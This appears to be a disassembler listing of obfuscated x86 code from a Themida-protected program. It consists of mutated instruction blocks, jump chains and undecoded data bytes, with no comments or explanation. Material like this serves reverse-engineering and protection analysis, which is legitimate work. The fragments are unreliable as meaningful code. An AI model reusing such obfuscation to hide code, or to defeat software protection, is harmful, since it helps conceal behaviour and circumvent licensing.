loc_561428:				; CODE XREF: Themida_:00561057j
		pop	ebx
		add	ebx, 305F0182h
		jmp	loc_568878
; ---------------------------------------------------------------------------
		dd 42474FFh, 19CAE9h, 24040000h, 0A553E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561446:				; CODE XREF: Themida_:00568AABj
		sub	dword ptr [esp+4], 4C973051h
		add	[esp+4], eax
		add	dword ptr [esp+4], 4C973051h
		jmp	loc_557A89
; ---------------------------------------------------------------------------

loc_56145F:				; CODE XREF: Themida_:005687A1j
		sub	esp, 4
		jmp	loc_55FEB8
; ---------------------------------------------------------------------------

loc_56146A:				; CODE XREF: Themida_:loc_560B1Ej
		push	edx
		jmp	loc_55B4E0
; ---------------------------------------------------------------------------

loc_561470:				; CODE XREF: Themida_:00569C81j
		mov	cl, 0D0h
		jmp	loc_56C5BF
; ---------------------------------------------------------------------------

loc_561477:				; CODE XREF: Themida_:0056817Bj
		xor	ebp, 0DD94B896h
		sub	eax, ebp
		pop	ebp
		shl	eax, 7
		jmp	loc_558019
; ---------------------------------------------------------------------------

loc_561488:				; CODE XREF: Themida_:00566FF1j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	6CCBh
		jmp	loc_562F7D
; ---------------------------------------------------------------------------
		db 2Dh
		dd 4, 5C240487h, 89242C89h, 4C581E5h, 81000000h, 4EDh
		dd 242C8700h, 9E21E9h
		db 0
; ---------------------------------------------------------------------------

loc_5614E5:				; CODE XREF: Themida_:00564DB2j
		push	ebx
		jmp	loc_5658A6
; ---------------------------------------------------------------------------

loc_5614EB:				; CODE XREF: Themida_:00562990j
		sub	esi, 7FF23F25h
		and	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		shr	ecx, 2
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	60E6h
		jmp	loc_566496
; ---------------------------------------------------------------------------

loc_56151B:				; CODE XREF: Themida_:0056439Bj
		add	ah, cl
		pop	ecx
		jmp	loc_55F0DC
; ---------------------------------------------------------------------------
aST		db ')щИ`t',0
		align 2
		dw 2925h
		dd 254A7E10h, 196555C7h, 56A1F05h, 3663E947h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56153E:				; CODE XREF: Themida_:0055B9B8j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_561543:				; CODE XREF: Themida_:0055A451j
		sub	esp, 4
		jmp	loc_563B47
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0C3830000h, 74FF5304h, 34FF0424h, 89575B24h
		dd 4C781E7h, 0E9000000h, 543Ah
; ---------------------------------------------------------------------------

loc_561570:				; CODE XREF: Themida_:0055D798j
		pop	edx
		jmp	loc_56AAE4
; ---------------------------------------------------------------------------

loc_561576:				; CODE XREF: Themida_:005672C4j
		shl	ebx, 2
		jmp	loc_560634
; ---------------------------------------------------------------------------
		dw 295Bh
		dd 2434FFF7h, 4C4815Eh,	57000000h, 42474FFh, 61DFE9h, 243C3100h
		dd 8B243C33h, 3B662424h, 40E99CC8h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5615A7:				; CODE XREF: Themida_:0055B008j
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], bx
		push	eax
		mov	al, 0C0h
		mov	bl, al
		pop	eax
		add	ah, bl
		jmp	loc_568F06
; ---------------------------------------------------------------------------

loc_5615BF:				; CODE XREF: Themida_:0055C3D1j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_56BF17
; ---------------------------------------------------------------------------

loc_5615CB:				; CODE XREF: Themida_:00564252j
		pop	ebp
		jmp	loc_55A580
; ---------------------------------------------------------------------------

loc_5615D1:				; CODE XREF: Themida_:loc_56998Cj
		xor	ebx, 998F39C2h
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	esi, ecx
		pop	ecx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_562B35
; ---------------------------------------------------------------------------

loc_5615F9:				; CODE XREF: Themida_:0056BBE1j
		push	ebx
		mov	ebx, 0FA90248h
		xor	ebx, 0FA9024Ch
		add	ecx, ebx
		jmp	loc_5677D3
; ---------------------------------------------------------------------------
		dd 2D5AD001h, 1A730F3Fh, 18E9D829h, 8100000Dh, 466AFFCEh
		dd 810F4E4Bh, 7332h, 0FF6555E9h, 0E78957FFh
		db 88h,	0EDh, 54h
; ---------------------------------------------------------------------------

loc_561633:				; CODE XREF: Themida_:0055A596j
		mov	ebp, 20C5125Fh
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, edx
		push	ebp
		mov	ebp, 20C5125Fh
		sub	eax, ebp
		mov	ebp, [esp]
		jmp	loc_56291D
; ---------------------------------------------------------------------------
		db 0BAh, 69h, 2Eh
		dd 89563A39h, 4C681E6h,	0E9000000h, 6ECBh
; ---------------------------------------------------------------------------

loc_561668:				; CODE XREF: Themida_:0056D787j
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_56C35F
; ---------------------------------------------------------------------------

loc_561673:				; CODE XREF: Themida_:0056D40Aj
		add	al, bl
		sub	al, 6
		pop	ebx
		push	536Fh
		mov	[esp], ebx
		push	6C38h
		mov	[esp], edx
		jmp	loc_55763F
; ---------------------------------------------------------------------------

loc_56168D:				; CODE XREF: Themida_:00569271j
		mov	esi, [esp]
		add	esp, 4
		shl	esi, 7
		inc	esi
		push	ecx
		push	ebp
		push	6F603F5Ah
		pop	ebp
		dec	ebp
		jmp	loc_55E496
; ---------------------------------------------------------------------------
		dd 64685257h, 5A5E3B7Fh, 1F15EA81h, 8D0F2B53h, 0FFFFF454h
		dd 0FFA463E9h, 0C8B66FFh, 153FE924h, 5B500000h,	104C483h
		dd 2434FFCBh, 99ADE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5616DA:				; CODE XREF: Themida_:00569C2Fj
		dec	al
		xor	al, 8Dh
		jp	loc_56D100
		jmp	loc_5585F1
; ---------------------------------------------------------------------------

loc_5616E9:				; CODE XREF: Themida_:0055D6E8j
		mov	[esp], si
		jmp	loc_55C10F
; ---------------------------------------------------------------------------

loc_5616F2:				; CODE XREF: Themida_:00560A87j
		push	4BBEh
		mov	[esp], esi
		mov	esi, 35D302D8h
		shl	esi, 5
		not	esi
		neg	esi
		sub	esi, 34A964DEh
		xor	esi, 0E000FA4h
		jmp	loc_568A32
; ---------------------------------------------------------------------------
		db 29h
		dd 5CEB81EBh, 5D44706Ch, 38E95F53h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561727:				; CODE XREF: Themida_:00558BBFj
		mov	[esp], ecx
		push	4E7476D5h
		pop	ecx
		jmp	loc_55C206
; ---------------------------------------------------------------------------

loc_561735:				; CODE XREF: Themida_:0055C347j
		add	esp, 4
		push	edx
		mov	edx, 0C4021A0h
		shl	edx, 1
		add	edx, 64E71210h
		jmp	loc_55F814
; ---------------------------------------------------------------------------
		dw 0FAB8h
		dd 0E913987Ah, 0FFFF5474h
; ---------------------------------------------------------------------------

loc_561758:				; CODE XREF: Themida_:005631CFj
		mov	[esp], eax
		mov	eax, 91E3D5Fh
		xor	eax, 91E3D5Bh
		jmp	loc_56CD12
; ---------------------------------------------------------------------------
word_56176A	dw 34FFh		; DATA XREF: Themida_:00556070o
		dd 2434FF24h, 0E924148Bh, 133Dh, 8904C483h, 243C8BFDh
		dd 71DAE9h
		db 0
; ---------------------------------------------------------------------------

loc_561785:				; CODE XREF: Themida_:loc_55928Aj
		shl	esi, 3
		shl	esi, 3
		xor	esi, 22EB2BD7h
		jmp	loc_55EE25
; ---------------------------------------------------------------------------

loc_561796:				; CODE XREF: Themida_:00567763j
		push	ebp
		mov	ebp, 0C0000060h
		jmp	loc_556459
; ---------------------------------------------------------------------------
		db 2Dh,	6Bh, 7Fh
		dd 3E93006h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5617AB:				; CODE XREF: Themida_:0056AF3Dj
		or	bh, 43h
		jmp	loc_55A236
; ---------------------------------------------------------------------------
		db 31h
		dd 31CB31D9h, 567FE9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5617BE:				; CODE XREF: Themida_:0056C211j
		pop	eax
		mov	eax, esi
		pop	esi
		not	eax
		xor	eax, 80CAFC7Ch
		add	ecx, eax
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_55D354
; ---------------------------------------------------------------------------

loc_5617DD:				; CODE XREF: Themida_:0056B38Fj
		sub	bh, cl
		jmp	loc_55E22A
; ---------------------------------------------------------------------------

loc_5617E4:				; CODE XREF: Themida_:0056ACACj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		jmp	loc_55BCEA
; ---------------------------------------------------------------------------

loc_5617F6:				; CODE XREF: Themida_:0055CDA8j
		xor	edi, esi
		pop	esi
		mov	ebp, edi
		pop	edi
		mov	ebx, 6D2C17E8h
		add	ebx, 4B153F5Fh
		sub	ebx, ebp
		jmp	loc_56A7F4
; ---------------------------------------------------------------------------

loc_56180E:				; CODE XREF: Themida_:0056654Ej
		sub	edi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 25204425h
		sub	ebx, 1C6067D9h
		and	ebx, 2F82389Dh
		or	ebx, 548071B7h
		shr	ebx, 5
		shr	ebx, 1
		sub	ebx, 2464C82h
		jmp	loc_55771D
; ---------------------------------------------------------------------------

loc_561839:				; CODE XREF: Themida_:00568C5Cj
		mov	ax, [esp]
		push	4884h
		mov	[esp], edi
		push	3739h
		jmp	loc_567906
; ---------------------------------------------------------------------------

loc_56184F:				; CODE XREF: Themida_:005610D0j
		add	eax, 5FEA72F3h
		jmp	loc_55F398
; ---------------------------------------------------------------------------

loc_561859:				; CODE XREF: Themida_:00569553j
		mov	ebp, 3DF31D3Eh
		add	[esp+4], ebp
		jmp	loc_568267
; ---------------------------------------------------------------------------

loc_561867:				; CODE XREF: Themida_:00560AFEj
		jmp	loc_55CBAD
; ---------------------------------------------------------------------------

loc_56186C:				; CODE XREF: Themida_:00559103j
		add	edx, eax
		sub	edx, 1FFC3F31h
		pop	eax
		jmp	loc_55F9E4
; ---------------------------------------------------------------------------

loc_56187A:				; CODE XREF: Themida_:005642C8j
		jmp	loc_55F671
; ---------------------------------------------------------------------------

loc_56187F:				; CODE XREF: Themida_:loc_560DF4j
					; Themida_:0056AF17j
		push	small 7A30h
		mov	[esp], cx
		push	edx
		mov	edx, esp
		jmp	loc_5573F4
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 243C8900h, 0C6649CBFh,	5FFB294Ah, 0C381FB29h
		dd 4AC6649Ch, 807DE9h, 477F2D00h, 0C731F066h, 2F326858h
		dd 4890000h, 4CF9B824h,	0E8C13FBFh, 3CE95507h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5618CB:				; CODE XREF: Themida_:0055E1F8j
		pop	ebx
		mov	esi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 1995D789h
		add	esi, ecx
		pop	ecx
		push	edx
		mov	edx, 3F2E5897h
		and	edx, 3F3525BAh
		and	edx, 539490Ch
		push	edi
		mov	edi, 6E133199h
		add	edi, 373B7243h
		push	ebp
		mov	ebp, 0C13ECDECh
		xor	edi, ebp
		pop	ebp
		jmp	loc_559345
; ---------------------------------------------------------------------------

loc_561904:				; CODE XREF: Themida_:00568FC8j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55BB4D
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8904ECh, 56E18924h, 0D769DDBEh, 58F6811Fh,	4E271A70h
		dd 198E9h
		db 0
; ---------------------------------------------------------------------------

loc_561929:				; CODE XREF: Themida_:0056A88Bj
		xor	ebx, eax
		pop	eax
		jmp	loc_560B23
; ---------------------------------------------------------------------------

loc_561931:				; CODE XREF: Themida_:00569904j
		mov	[esp], esi
		jmp	loc_55B729
; ---------------------------------------------------------------------------
		db 80h,	0EEh, 39h
		dd 8124048Bh, 4C4h, 6FC68000h, 0BACAE9h
		db 0
; ---------------------------------------------------------------------------

loc_56194D:				; CODE XREF: Themida_:00567806j
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 70D766FBh
		sub	eax, 70D766F7h
		jmp	loc_55F7EF
; ---------------------------------------------------------------------------

loc_561970:				; CODE XREF: Themida_:00562DF0j
					; Themida_:00563401j
		pop	esp
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_55DE30
; ---------------------------------------------------------------------------

loc_56197F:				; CODE XREF: Themida_:0055AEF9j
		add	esp, 4
		push	edx
		push	ebp
		jmp	loc_5688A6
; ---------------------------------------------------------------------------

loc_56198C:				; CODE XREF: Themida_:0055D579j
		inc	esi
		jmp	loc_556AAA
; ---------------------------------------------------------------------------

loc_561992:				; CODE XREF: Themida_:00560CBBj
		xor	ebp, 3BBD5CA7h
		mov	edi, ebp
		jmp	loc_569615
; ---------------------------------------------------------------------------

loc_56199F:				; CODE XREF: Themida_:loc_557922j
		add	ebp, 0FF97D292h
		jmp	loc_567950
; ---------------------------------------------------------------------------

loc_5619AA:				; CODE XREF: Themida_:00568336j
		push	756h
		mov	[esp], ebp
		jmp	loc_559857
; ---------------------------------------------------------------------------

loc_5619B7:				; CODE XREF: Themida_:00560C0Dj
		sub	di, 788Fh
		and	di, 7566h
		sub	di, 0B62Eh
		xor	bx, di
		pop	edi
		add	ax, 5BAAh
		add	ax, 7D1Ch
		sub	ax, bx
		sub	ax, 7D1Ch
		jmp	loc_55B54C
; ---------------------------------------------------------------------------

loc_5619DE:				; CODE XREF: Themida_:00558B1Aj
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		shl	edx, 6
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 558E2CCEh
		jmp	loc_566E42
; ---------------------------------------------------------------------------

loc_5619F6:				; CODE XREF: Themida_:00564CACj
		push	6174h
		jmp	loc_55D1C2
; ---------------------------------------------------------------------------

loc_561A00:				; CODE XREF: Themida_:0056BE79j
		add	esi, 10DD0610h
		jmp	loc_56513F
; ---------------------------------------------------------------------------

loc_561A0B:				; CODE XREF: Themida_:0055BF70j
		not	esi
		and	esi, 471A3829h
		jmp	loc_568D78
; ---------------------------------------------------------------------------

loc_561A18:				; CODE XREF: Themida_:00559F9Bj
		push	ecx
		mov	ecx, 53F62587h
		add	dword ptr [esp+8], 34D450B1h
		sub	[esp+8], ecx
		jmp	loc_5629F5
; ---------------------------------------------------------------------------

loc_561A2F:				; CODE XREF: Themida_:00561A72j
		pop	eax
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		add	edi, edx
		pop	edx
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_561D05
; ---------------------------------------------------------------------------
		dd 5A54525Dh, 3B72B951h, 0E9C10247h, 8E1C108h, 0E9C1D1F7h
		dd 0B19FE903h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561A66:				; CODE XREF: Themida_:00557D72j
		jmp	loc_563248
; ---------------------------------------------------------------------------

loc_561A6B:				; CODE XREF: Themida_:0056CA69j
		mov	edi, 0A9D2C766h
		add	edi, eax
		jmp	loc_561A2F
; ---------------------------------------------------------------------------
		db 4Dh
		dd 0FF532EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561A7D:				; CODE XREF: Themida_:0055AE5Fj
		mov	[esp], eax
		jmp	loc_557D48
; ---------------------------------------------------------------------------

loc_561A85:				; CODE XREF: Themida_:005671CBj
		not	edi
		inc	edi
		xor	edi, 2A0369F3h
		add	ecx, edi
		pop	edi
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55A7F8
; ---------------------------------------------------------------------------

loc_561A9F:				; CODE XREF: Themida_:0055F678j
					; DATA XREF: Themida_:005561D4o
		pop	small word ptr [edx]
		jmp	loc_56C789
; ---------------------------------------------------------------------------

loc_561AA7:				; CODE XREF: Themida_:0055ECD5j
		add	esp, 4
		sub	esp, 4
		jmp	loc_557EF3
; ---------------------------------------------------------------------------

loc_561AB2:				; CODE XREF: Themida_:00559452j
		pop	ebx
		add	esp, 4
		add	esp, 4
		jmp	loc_559FCE
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 0D1h
		dd 0F2EE81E6h, 0E98E65CCh, 9413h
; ---------------------------------------------------------------------------

loc_561AD0:				; CODE XREF: Themida_:00563AA6j
		neg	bh
		jb	loc_56C0F0
		jmp	loc_558CD4
; ---------------------------------------------------------------------------
		db 5Eh,	51h, 55h
		db 88h,	0C7h
; ---------------------------------------------------------------------------

loc_561AE2:				; CODE XREF: Themida_:0055CF09j
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_563FD8
; ---------------------------------------------------------------------------
		db 2Dh
		dd 49900BBh, 4061C181h,	0C1011A10h, 4061E981h, 48B1A10h
		dd 4C48124h, 5F000000h,	757D2BFh, 46EDE905h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_561B1A:				; CODE XREF: Themida_:00565A16j
		or	eax, eax
		jz	loc_560360
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_566A88
; ---------------------------------------------------------------------------

loc_561B3B:				; CODE XREF: Themida_:0055EF81j
		pop	edi
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5602EE
; ---------------------------------------------------------------------------

loc_561B4C:				; CODE XREF: Themida_:loc_56502Cj
		push	esi
		mov	esi, 0F93A9A01h
		xor	eax, esi
		jmp	loc_56BD29
; ---------------------------------------------------------------------------

loc_561B59:				; CODE XREF: Themida_:0055CBB3j
		inc	edx
		jle	loc_55F4E8
		sub	edx, 26ED2458h
		jmp	loc_563764
; ---------------------------------------------------------------------------

loc_561B6B:				; CODE XREF: Themida_:00557580j
		sub	edi, 5D2865A3h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55658B
; ---------------------------------------------------------------------------

loc_561B7C:				; CODE XREF: Themida_:0056234Bj
		add	ebx, ecx
		add	ebx, 3B1D6CE2h
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_55F32C
; ---------------------------------------------------------------------------
		dd 0FF4752E9h, 4F4B68FFh, 34890000h, 5EB85024h,	5637E61Fh
		dd 601CE9h
		db 0
; ---------------------------------------------------------------------------

loc_561BA9:				; CODE XREF: Themida_:0055E1C3j
		add	ebx, 32DE125Eh
		jmp	loc_55B612
; ---------------------------------------------------------------------------

loc_561BB4:				; CODE XREF: Themida_:00557BC2j
		mov	[esp], ebx
		jmp	loc_55F103
; ---------------------------------------------------------------------------

loc_561BBC:				; CODE XREF: Themida_:00558CA3j
		push	ebp
		jmp	loc_564BC4
; ---------------------------------------------------------------------------

loc_561BC2:				; CODE XREF: Themida_:00557660j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 382A69C3h
		not	eax
		or	eax, 3DD01B00h
		sub	eax, 5CD7072Bh
		jmp	loc_55701A
; ---------------------------------------------------------------------------

loc_561BDF:				; CODE XREF: Themida_:005647BCj
		shr	eax, 18h
		jmp	loc_56B025
; ---------------------------------------------------------------------------

loc_561BE7:				; CODE XREF: Themida_:005626F5j
		js	loc_55CD62
		sub	eax, 727131DCh
		js	loc_558CCF
		jmp	loc_55CE2B
; ---------------------------------------------------------------------------
		db 89h,	0D5h, 5Ah
		db 45h,	0B5h, 8Ch
; ---------------------------------------------------------------------------

loc_561C03:				; CODE XREF: Themida_:00556E1Dj
		pop	edi
		add	esp, 4
		jmp	loc_569793
; ---------------------------------------------------------------------------

loc_561C0C:				; CODE XREF: Themida_:0055AD93j
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_559472
; ---------------------------------------------------------------------------
byte_561C31	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00556164o
aXh4		db 'Xh^4',0
		align 2
aIHq2		db '┴<$hО2',0
		align 2
		dw 8F54h
		dd 4832404h, 5E90424h
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561C4F:				; CODE XREF: Themida_:loc_55FE53j
		jmp	loc_55A365
; ---------------------------------------------------------------------------

loc_561C54:				; CODE XREF: Themida_:00568502j
		mov	al, dl
		mov	ch, al
		jmp	loc_55CF29
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Dh, 0E9000000h, 0FFFF8B3Ch, 42474FFh, 24048F5Dh
		dd 240CD35Ch, 4669E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561C7E:				; CODE XREF: Themida_:00566E9Bj
		mov	dl, 0EBh
		mov	al, 97h
		xor	al, dl
		pop	edx
		jmp	loc_55F54C
; ---------------------------------------------------------------------------
		dw 1489h
		dd 2AADBA24h, 7568154Bh, 89000057h, 0E189240Ch,	4C181h
		dd 0E9810000h, 4, 0E9240C87h, 5B93h, 0BD55F829h, 597370C1h
		dd 2C8BE801h, 0B32DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561CC2:				; CODE XREF: Themida_:00556327j
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5574E0
; ---------------------------------------------------------------------------
		dd 0EB81EB01h, 450843A5h, 191AC381h, 0C381170Fh, 3EFD1B3Bh
		dd 5D2434FFh, 0E904C483h, 0FFFF521Dh
dword_561CFC	dd 24048B66h, 8695E9h	; DATA XREF: Themida_:00556200o
		db 0
; ---------------------------------------------------------------------------

loc_561D05:				; CODE XREF: Themida_:00561A47j
		pop	esp
		mov	[esp], eax
		push	ecx
		jmp	loc_55F1E9
; ---------------------------------------------------------------------------
		db 68h
		dd 2A29h, 0BA241489h, 0A1F89750h, 15AD331h, 241C8BDEh
		dd 4C481h, 81560000h, 1E232404h, 40E9265Ch
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_561D37:				; CODE XREF: Themida_:00565BEDj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5640A4
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 0B3h
		dd 0E9012E7Bh, 0FFFFEBF0h
; ---------------------------------------------------------------------------

loc_561D50:				; CODE XREF: Themida_:0055BE11j
		add	esp, 4
		jmp	loc_55E9D1
; ---------------------------------------------------------------------------

loc_561D5B:				; CODE XREF: Themida_:0055AC35j
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_55DA34
; ---------------------------------------------------------------------------

loc_561D69:				; CODE XREF: Themida_:0056C74Fj
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_563A0C
; ---------------------------------------------------------------------------

loc_561D78:				; CODE XREF: Themida_:00565171j
		push	esi
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 2F051805h
		jle	loc_566E88
		shl	esi, 7
		dec	esi
		jmp	loc_55F87B
; ---------------------------------------------------------------------------
		db 5Ch
; ---------------------------------------------------------------------------

loc_561D98:				; CODE XREF: Themida_:0056C8DBj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xor	eax, ebp
		jmp	loc_5651CF
; ---------------------------------------------------------------------------

loc_561DA8:				; CODE XREF: Themida_:00559C81j
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		push	esi
		push	edi
		push	764E7690h
		pop	edi
		xor	edi, 49CE2999h
		add	edi, 7544322h
		jno	loc_56B3D8
		jmp	loc_5588B8
; ---------------------------------------------------------------------------
		db 51h
		dd 0A23561B9h
		db 1Bh,	8Bh, 0EDh
; ---------------------------------------------------------------------------

loc_561DD7:				; CODE XREF: Themida_:00560B04j
					; Themida_:00562833j
		add	ebx, 4
		jmp	loc_56055E
; ---------------------------------------------------------------------------

loc_561DE2:				; CODE XREF: Themida_:0055F060j
		add	esp, 4
		push	edi
		mov	edi, 77B4294Ch
		push	edi
		not	dword ptr [esp]
		pop	edi
		or	edi, 22B7444h
		jmp	loc_56BF45
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 0E9000000h, 0E65h
; ---------------------------------------------------------------------------

loc_561E08:				; CODE XREF: Themida_:0055FBDAj
		mov	ebx, 798345FAh
		xor	ebx, 798345FEh
		add	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	ebp
		jmp	loc_560F26
; ---------------------------------------------------------------------------

loc_561E23:				; CODE XREF: Themida_:0055966Ej
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_556FAB
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4C68300h, 0E9243487h, 0FFFFD853h
; ---------------------------------------------------------------------------

loc_561E44:				; CODE XREF: Themida_:00568B4Ej
		xor	eax, ecx
		pop	ecx
		jmp	loc_566C6A
; ---------------------------------------------------------------------------

loc_561E4C:				; CODE XREF: Themida_:0055AFCFj
		mov	[esp], ebx
		push	eax
		push	6B30h
		mov	[esp], ebx
		push	eax
		mov	eax, 61672E88h
		mov	ebx, 0BF7CD1CFh
		push	ebp
		mov	ebp, 61331D6Ah
		push	ebx
		mov	ebx, 557C2A5Bh
		neg	ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		or	ebx, 15C4303Ch
		jmp	loc_56ACB1
; ---------------------------------------------------------------------------
		db 68h,	4, 6Ch
		dd 3C890000h, 7E026824h, 815F179Fh, 491B99CFh, 33820F66h
		dd 50FFFFAEh, 55E6E9h
		db 0
; ---------------------------------------------------------------------------

loc_561EA1:				; CODE XREF: Themida_:0055D194j
		mov	[esp], edx
		mov	edx, 3Ch
		add	edx, 74807523h
		add	edx, edi
		jmp	loc_5603B6
; ---------------------------------------------------------------------------

loc_561EB6:				; CODE XREF: Themida_:005672A1j
		add	eax, 15EE152Dh
		push	35F3h
		mov	[esp], ebp
		jmp	loc_55EF59
; ---------------------------------------------------------------------------

loc_561EC8:				; CODE XREF: Themida_:005645C9j
		push	4
		pop	ebx
		jmp	loc_55D89D
; ---------------------------------------------------------------------------

loc_561ED3:				; CODE XREF: Themida_:0055C165j
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_562B64
; ---------------------------------------------------------------------------

loc_561EE2:				; CODE XREF: Themida_:00566EB6j
		xor	ebp, 7EAAE6F1h
		push	eax
		mov	eax, 337203DEh
		sub	edi, eax
		pop	eax
		add	edi, ebp
		add	edi, 337203DEh
		pop	ebp
		push	edx
		jmp	loc_55FC93
; ---------------------------------------------------------------------------

loc_561F00:				; CODE XREF: Themida_:00567620j
		push	eax
		mov	eax, esi
		jmp	loc_56B05C
; ---------------------------------------------------------------------------

loc_561F08:				; CODE XREF: Themida_:00559CE9j
		sub	edi, 7F7DFDEFh
		mov	eax, edi
		jmp	loc_561F6A
; ---------------------------------------------------------------------------
byte_561F15	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00556068o
		dd 5D545524h, 4BA52h, 0D5010000h, 0BE56525Ah, 6EAC04F5h
		dd 0FB0DBE56h, 0F2899153h, 6983E95Eh, 5650FFFFh, 0FFE362E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_561F41:				; CODE XREF: Themida_:00557900j
					; Themida_:00567B65j
		jns	loc_569A55
		jmp	loc_565792
; ---------------------------------------------------------------------------
		dd 0C681D6F7h, 5EF038CBh, 0CF4CEE81h, 51E903ECh, 81FFFF9Fh
		dd 0D809B3EFh, 0B1F3E977h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_561F6A:				; CODE XREF: Themida_:00561F10j
		mov	cl, 6
		sub	cl, 6Bh
		jmp	loc_56B386
; ---------------------------------------------------------------------------

loc_561F74:				; CODE XREF: Themida_:0055CCAFj
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		mov	ch, al
		pop	ax
		inc	ch
		push	eax
		mov	al, 0B3h
		add	ch, al
		pop	eax
		xor	ch, 0A3h
		push	edx
		jmp	loc_556D50
; ---------------------------------------------------------------------------
		db 51h
		dd 0F92DE6B9h, 0E2F18100h, 100F92Dh, 0EA8159CAh, 4, 5C241487h
		dd 57240C89h, 0C781E789h, 4, 0E904EF83h, 7E1h
; ---------------------------------------------------------------------------

loc_561FC0:				; CODE XREF: Themida_:00560926j
		or	dl, 1Dh
		xor	dl, 0ECh
		jmp	loc_55C889
; ---------------------------------------------------------------------------

loc_561FCB:				; CODE XREF: Themida_:0055C1CCj
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	1852h
		mov	[esp], esi
		push	2
		pop	esi
		add	ebp, esi
		pop	esi
		jmp	loc_5643B6
; ---------------------------------------------------------------------------
		dd 0FF42F6E9h, 0BD55FFh, 81000000h, 0E2460CEDh,	81FD2928h
		dd 0E2460CC5h, 5DEF8928h, 59B4CF81h, 850F05D9h,	0FFFFA3C9h
		dd 0DD8B850h, 0AE056A26h, 0B61AE423h
		db 39h,	88h, 0C9h
; ---------------------------------------------------------------------------

